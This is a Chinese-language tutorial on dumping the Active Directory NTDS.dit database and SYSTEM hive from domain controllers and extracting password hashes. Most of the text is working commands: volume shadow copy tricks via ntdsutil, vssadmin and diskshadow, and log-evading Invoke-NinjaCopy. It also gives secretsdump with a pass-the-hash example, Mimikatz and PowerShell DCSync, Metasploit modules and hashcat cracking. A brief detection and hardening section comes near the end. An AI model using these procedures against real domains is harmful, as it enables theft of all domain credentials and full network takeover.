域控安全之ntds.dit导出
字数 1526 2025-08-11 17:39:49
域控安全之NTDS.dit导出技术详解
1. NTDS.dit文件概述
NTDS.dit是活动目录(Active Directory)的核心数据库文件,存储了域环境中的所有关键数据:
- 文件路径:
C:\Windows\NTDS\NTDS.dit - 包含内容:用户名、密码散列值、组信息、GPP、OU等域相关信息
- 类似文件:工作组环境中的SAM文件(存储本地用户信息)
- 依赖文件:需要配合
C:\Windows\System32\config\SYSTEM文件(包含解密密钥)
2. 导出NTDS.dit的多种方法
2.1 使用ntdsutil.exe工具
适用系统:Windows Server 2003/2008/2012
步骤:
-
创建快照:
ntdsutil snapshot "activate instance ntds" create quit quit生成GUID如
{06a1b343-93f9-4c1b-a613-d02c23f99759} -
加载快照:
ntdsutil snapshot "mount {GUID}" quit quit快照加载路径如
C:\$SNAP_202110151711_VOLUMEC$\ -
拷贝文件:
copy C:\$SNAP_202110151711_VOLUMEC$\windows\ntds\ntds.dit c:\windows\temp\ntds.dit -
卸载删除快照:
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
2.2 使用IFM方式导出
命令:
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
生成文件:
c:/test/Active Directory/ntds.ditc:/test/registry/system和security文件
2.3 使用PowerShell脚本
Copy-VSS.ps1方法:
Import-Module .\Copy-VSS.ps1
Copy-VSS
或指定目录:
Copy-VSS -DestinationDir C:\
Invoke-NinjaCopy方法:
Import-Module .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\ntds.dit"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\system.hive"
优点:不产生7036日志事件
2.4 使用vssadmin工具
步骤:
-
创建卷影拷贝:
vssadmin create shadow /for=c: -
复制文件:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\ntds\ntds.dit c:\ntds.dit -
删除卷影:
vssadmin delete shadows /for=c: /quiet
2.5 使用diskshadow.exe
脚本示例(保存为txt后执行):
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% k:
exec "cmd.exe" /c copy k:\windows\ntds\ntds.dit c:\ntds.dit
delete shadows all
list shadows all
reset
exit
执行命令:
diskshadow.exe /s script.txt
3. SYSTEM文件导出方法
-
注册表方式:
reg save hklm\system c:\system.hive -
使用Copy-VSS或Invoke-NinjaCopy(如前所述)
4. 从NTDS.dit提取哈希值
4.1 使用esedbexport和ntdsxtract
步骤:
-
安装依赖:
apt-get install autoconf automake autopoint libtool pkg-config -
恢复NTDS.dit:
esedbexport -m tables ntds.dit生成
ntds.dit.export文件夹,重点关注datatable.3和link_table.5 -
提取哈希:
python dsusers.py datatable.3 link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout
4.2 使用Impacket的secretsdump
python2 secretsdump.py -system system -ntds ntds.dit LOCAL
或远程提取:
python2 secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942 -just-dc god.org/liukaifeng01r@x.x.x.x
4.3 使用Mimikatz的DCSync
lsadump::dcsync /domain:god.org /all /csv
或指定用户:
lsadump::dcsync /domain:god.org /user:ligang
4.4 使用PowerShell的DCSync脚本
Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -DumpForest | ft -wrap -autosize
或指定用户:
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
4.5 使用Metasploit模块
-
查找NTDS位置:
post/windows/gather/ntds_location -
导出哈希:
run windows/gather/smart_hashdump -
下载NTDS.dit:
use post/windows/gather/ntds_grabber set session [id] run
5. 哈希破解示例
使用Hashcat破解NTLM哈希:
hashcat -m 1000 afffeba176210fad4628f0524bfe1942 wordlist.txt --force
6. 防御与检测建议
-
监控关键事件:
- System Event ID 7036(卷影拷贝服务)
- Event ID 98(ntdsutil操作)
-
监控可疑进程:
- vssvc.exe
- diskshadow.exe
- 异常的逻辑驱动器映射
-
限制权限:
- 严格控制域管理员权限
- 限制对卷影拷贝服务的访问
-
定期审计:
- 检查域控制器上的异常活动
- 监控对NTDS.dit文件的访问尝试
7. 工具下载链接
- libesedb: https://github.com/libyal/libesedb/releases
- ntdsxtract: https://github.com/csababarta/ntdsxtract
- Impacket: https://github.com/SecureAuthCorp/impacket
- QuarksPwDump: https://github.com/redcanari/quarkspwdump/releases
- vshadow.exe: https://www.msxfaq.de/tools/mswin/vshadow.htm